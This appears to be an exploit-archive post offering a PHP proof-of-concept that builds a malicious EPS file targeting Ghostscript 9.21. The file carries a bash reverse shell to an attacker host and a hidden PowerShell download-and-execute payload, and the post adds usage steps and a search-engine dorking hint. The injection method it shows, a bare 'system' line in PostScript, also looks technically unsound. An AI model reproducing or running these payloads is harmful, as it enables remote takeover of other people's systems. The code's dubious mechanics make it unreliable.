=============================================================================================================================================
| # Title : Ghostscript versions =============================================================================================================================================
| # Title : Ghostscript versions 9.21 PHP Arbitrary Command Execution Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://ghostscript.com |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: This code is written in PHP and aims to create a voided EPS file that exploits a vulnerability in Ghostscript and sends indirect commands to the system.

Arbitrary commands are executed when the file is run by Ghostscript.

Supports both Windows and Linux and automatically selects the appropriate payload.

Used to execute a reverse shell through which an attacker can take control of the system.

( Related : https://packetstorm.news/files/id/142363/ Related CVE Numbers: )

[+] save code as poc.php.

[+] Set Target : line 31 + 32 Put your IP address with your connection port

[+] USage : php poc.php

[+] PayLoad :

<?php

class GhostscriptExploit {
private $filename;
private $payload;

public function __construct($filename = 'exploit.eps', $payload = '') {
$this->filename = $filename;
$this->payload = $payload;
}

public function generateExploitFile() {
$template = $this->getTemplate();
$exploitContent = str_replace('echo vulnerable > /dev/tty', $this->payload, $template);
file_put_contents($this->filename, $exploitContent);
echo "Exploit file created: {$this->filename}\n";
}

private function getTemplate() {
return "%!PS-Adobe-3.0\n" .
"%%Title: Exploit\n" .
"%%Creator: indoushka\n" .
"%%Pages: 1\n" .
"%%BoundingBox: 0 0 612 792\n" .
"%%EndComments\n" .
"system (\"echo vulnerable > /dev/tty\");\n" .
"showpage\n";
}
}

$linux_payload = 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1';
$windows_payload = 'powershell -NoP -NonI -W Hidden -Exec Bypass -Command Invoke-Expression (New-Object Net.WebClient).DownloadString(\'http://attacker_ip/shell.ps1\')';

$os = PHP_OS_FAMILY;
if ($os === 'Windows') {
$exploit = new GhostscriptExploit('indoushka.eps', $windows_payload);
} else {
$exploit = new GhostscriptExploit('inouva.eps', $linux_payload);
}

$exploit->generateExploitFile();

?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================